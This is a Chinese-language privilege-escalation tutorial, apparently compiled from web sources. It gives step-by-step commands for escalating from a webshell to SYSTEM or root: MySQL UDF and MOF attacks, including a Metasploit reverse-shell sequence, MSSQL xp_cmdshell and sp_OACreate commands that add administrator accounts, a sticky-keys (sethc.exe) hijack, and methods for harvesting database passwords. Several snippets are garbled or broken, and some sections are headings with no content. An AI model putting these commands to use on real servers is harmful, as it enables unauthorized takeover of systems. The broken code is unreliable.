(內容整理自網絡)
一、 什麼是提權
提權就是通過各種辦法和漏洞,提高自己在服務器中的權限,以便控制全局。
Windows:User >> System
Linux:User >> Root
二、怎樣進行提權(提權的方式有哪些)
1.、系統漏洞提權(Linux、Windows)
2、數據庫提權
3、系統配置錯誤提權
4、權限繼承類提權
5、第三方軟件/服務提權
6、WebServer漏洞提權
1、系統漏洞提權
系統漏洞提權一般就是利用系統自身缺陷,用來提升權限。爲了使用方便,windows和linux系統均有提權用的可執行文件。
Windows的提權exp一般格式爲MS08067.exe;
Linux的提權exp一般格式爲2.6.18-194或2.6.18.c。
(1)Windows提權
1.1> 漏洞編號命名格式
Windows系統漏洞編號命名格式爲:MS08067
其中:MS是Micosoft的縮寫,固定格式;08 表示年份,即2008年發佈的漏洞;067 表示順序,即當年度發佈的第67個漏洞。
1.2> 使用exp提權
在日常滲透測試過程中,我們常常會先是拿到webshell再進行提權。所以提權腳本也常常會被在webshell中運行使用。
那麼我們如何知道使用哪個exp來提權呢?
我們可以使用systeminfo命令或者查看補丁目錄,查看補丁記錄,來判斷有哪個補丁沒打,然後使用相對應的exp進行提權。
KB2645640 MS12-009
KB2641653 MS12-018
KB952004 MS09-012 Pr.exe
KB956572 MS09-012 巴西烤肉
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011 ms11011.exe
KB942831 MS08-005
KB2503665 MS11-046 ms11046.exe
KB2592799 MS11-080 ms11080.exe
(2)Linux系統提權
Linux系統漏洞的exp一般按照內核版本來命名:2.6.18-194或2.6.18.c
形如2.6.18-194,可以直接執行;形如2.6.18.c,需要編譯後運行,提權。當然也有少部分exp是按照發行版版本命名。
使用exp
- 一般情況下linux的本地提權要用nc反彈出來,因爲Linux下提升權限後得到的是交互式shell,需反彈才能進行下一步命令的執行。
- 我們可以使用uname -a命令或者cat /proc/version,來判斷系統的內核情況等等,然後使用相對應的exp進行提權。
注:
- 提權過程中需要爲你的提權exp賦權,chmod。
- linux服務器很多情況下管理員會設置目錄權限,我們無法修改,但是一般/tmp/目錄不會被設置權限,這和windows下的tmp和回收站是一個道理,所以我們可以將exp存放到/tmp目錄下。
2、數據庫提權
數據庫提權是指:通過執行數據庫語句、數據庫函數等方式提升服務器用戶的權限。
首先我們要先有能力登入數據庫,所以通常我們拿到webshell之後要去網站目錄去找數據庫連接文件,常在形如xxx.conf或conf.xxx文件中。
(1)MySQL數據庫提權
MySQL數據庫一般是使用udf(用戶自定義函數)提權或mof(託管對象格式)提權。
1.1> udf提權(用戶自定義函數)
條件:
1、系統版本(Windows2000,XP,Win2003);
2、擁有MYSQL的某個賬號,且該賬號具有對msql的insert與delete權限;
3、具有root賬號密碼。
使用方法:
1、獲取當前mysql的一個數據庫連接信息,通常包含地址、端口、賬號、密碼、庫名等五個信息。
2、把udf專用的webshell傳到服務器上,訪問並進行數據庫連接。
3、連接成功後,導出DLL文件。
注:
- Mysql<5.0,導出路徑隨意;
- 5.0<=mysql<5.1,則需要導出至目標服務器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;
- mysql>5.1,需要導出dll到插件路徑,例如:D:\Program Files\MySQL\MySQL Server 5.1.3\lib\plugin
- 若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL導出到系統目錄,那麼你就可以省略路徑而使命令正常執行,否則將會看到”Can’t open shared library“錯誤。
- 如果提示“Function ‘cmdshell’ already exists”,則輸入下列語句可以解決:drop function cmdshell;
4、使用SQL語句創建自定義函數。語法如下:
Create Function 函數名 returns string soname '導出的DLL路徑';
eg: Create Function cmdshell returns string soname 'udf.dll';功能函數說明:
- cmdshell 執行cmd;
- downloader 下載者,到網上下載指定文件並保存到指定目錄;
- open3389 通用開3389終端服務,可指定端口(不改端口無需重啓);
- backshell 反彈Shell;
- ProcessView 枚舉系統進程;
- KillProcess 終止指定進程;
- regread 讀註冊表;
- regwrite 寫註冊表;
- shut 關機,註銷,重啓;
- about 說明與幫助函數;
5、創建函數成功後,就可以通過sql語句調用它了。
語法如下:
select 創建的函數名 ('參數列表');
eg: select cmdshell("net user nsfocus Nsf0cus /add");創建一個用戶nsfocus,密碼爲Nsf0cus
6、函數使用完後,我們需要把之前生成的DLL和創建的函數刪除掉,但要注意次序,必須先刪除函數再刪除DLL。
刪除函數的語法如下:
drop function 創建的函數名;
eg: drop function cmdshell;
整體思路:
- 導出C:\windows\udf.dll
- Create Function cmdshell returns string soname 'udf.dll';
- select cmdshell('whoami')
- drop function cmdshell
1.2> Mof提權(託管對象格式)
提權c:/windows/system32/wbem/mof/
- use exploit/windows/mysql/mysql_mof
- set password xxx
- set username xxx
- set rhost xxx
- set rport xxx
- set payload windows/shell_reverse_tcp
- set lhost xxx
- set lport xxx
- exploit
(2)Mssql數據庫提權
Mssql數據庫提權總結
在SA權限下
- 存在xp_cmdshell時
使用xp_cmdshell執行命令添加用戶,當出現錯誤可以恢復和開啓xp_cmdshell- xp_cmdshell無法使用時
使用sp_OACreate執行命令,同樣當出現錯誤可以恢復和開啓- 當執行命令無法使用時可以用沙盒提權 (使用xp_regwrite和openrowset)
- 當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe)
使用xp_regwrite修改註冊表
DBA權限下
- 備份到網站目錄
- 通過備份文件到啓動項提權
2.1> SA口令獲取方法
2.1.1 Webshell或源碼獲取
一般在網站的配置文件中有存放明文賬號密碼,常用配置文件名如:
conn.aspx
config.aspx
config.php
web.config
.........一般格式如:
server=localhost;
UID=sa;
PWD=shadowflow
2.1.2源代碼泄露
網站源碼泄露情況主要以程序員上傳代碼到git等開源平臺或更新代碼時未刪除備份文件(.svn、.git、.bak),以及運維人員打包源代碼到網站服務器(www.rar等)。
2.1.3嗅探
在局域網中使用cain等工具進行arp嗅探的時候可以抓取到1433端口的數據庫明文登錄密碼
2.1.4口令暴力破解
利用mssql暴力破解工具對mssql進行暴力破解,一旦成功將獲得sa相應權限
2.2> 常用SQL Server提權語句
查看數據庫版本:select @@version
查看數據庫系統參數:exec master..xp_msver;
查看用戶所屬角色信息:sp_helpsrvrolemember
查看當前數據庫:select db_name()
顯示機器上的驅動器:xp_availablemedia
查看當前賬戶權限
select IS_SRVROLEMEMBER('sysadmin') #判斷是否爲sa權限
類似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin
select IS_MEMBER('db_owner') #判斷是否爲dbo權限
添加用戶
exec master.dbo.sp_addlogin test,password #添加用戶
exec master.dbo.sp_addsrvrolemember test,sysadmin #加權限
啓動停止服務
exec master..xp_servicecontrol 'stop','test'
exec master..xp_servicecontrol 'start','test'
檢查功能
SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'
xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc
xp_cmdshell
1、開啓xp_cmdshell存儲過程
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'xp_cmdshell',1;RECONFIGURE;2、關閉xp_cmdshell存儲過程
exec sp_configure 'show advanced options', 1, RECONFIGURE;
exec sp_configure 'xp_cmdshell',0;RECONFIGURE;3、xp_cmdshell執行命令
exec master..xp_cmdshell 'ver'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'4、恢復xp_cmdshell
exec sp_dropextendedproc 'xp_cmdshell'
dbcc addextendedproc ("xp_cmdshell","xplog70.dll) OR dbcc addextendedproc ("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");EXEC sp_configure 'show advanced options', 0 --
sp_OACreate
1、開啓sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;2、關閉sp_OACreate
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;3、禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;4、sp_OACreate執行命令
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'5、sp_OACreate移動文件
declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';6、sp_OACreate複製文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
7、sp_OACreate刪除文件
DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程序\啓動\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token
8、wscript.shell執行命令
9、Shell.Application執行命令
10、sp_oacreate 替換粘貼鍵
沙盒執行命令
openrowset開啓
openrowset關閉
沙盒執行命令
註冊表篡改
註冊表劫持粘貼鍵
3、系統配置不當提權
利用配置不當提權
- 前提:已經成功滲透進目標系統;
- 相比利用漏洞提權,是更常用的方法;
- 在大部分企業中,會將系統的漏洞即時進行補丁更新,難以通過系統自身我的漏洞進行入侵;
- 可以查找系統中以system權限啓動的服務或應用,可以嘗試將其替換或者反彈shell的方式提權;
- 可以查找NTFS權限允許users修改刪除的應用,利用配置不當進行提權;
- 代碼中是否有過濾參數的操作等都可以加以利用,進行提取;
4、權限繼承類提權
開機啓動項提權?
windows開機時候都會有一些開機啓動的程序,那時候啓動的程序權限都是system,因爲是system把他們啓動的,利用這點,我們可以將自動化腳本寫入啓動項,達到提權的目的。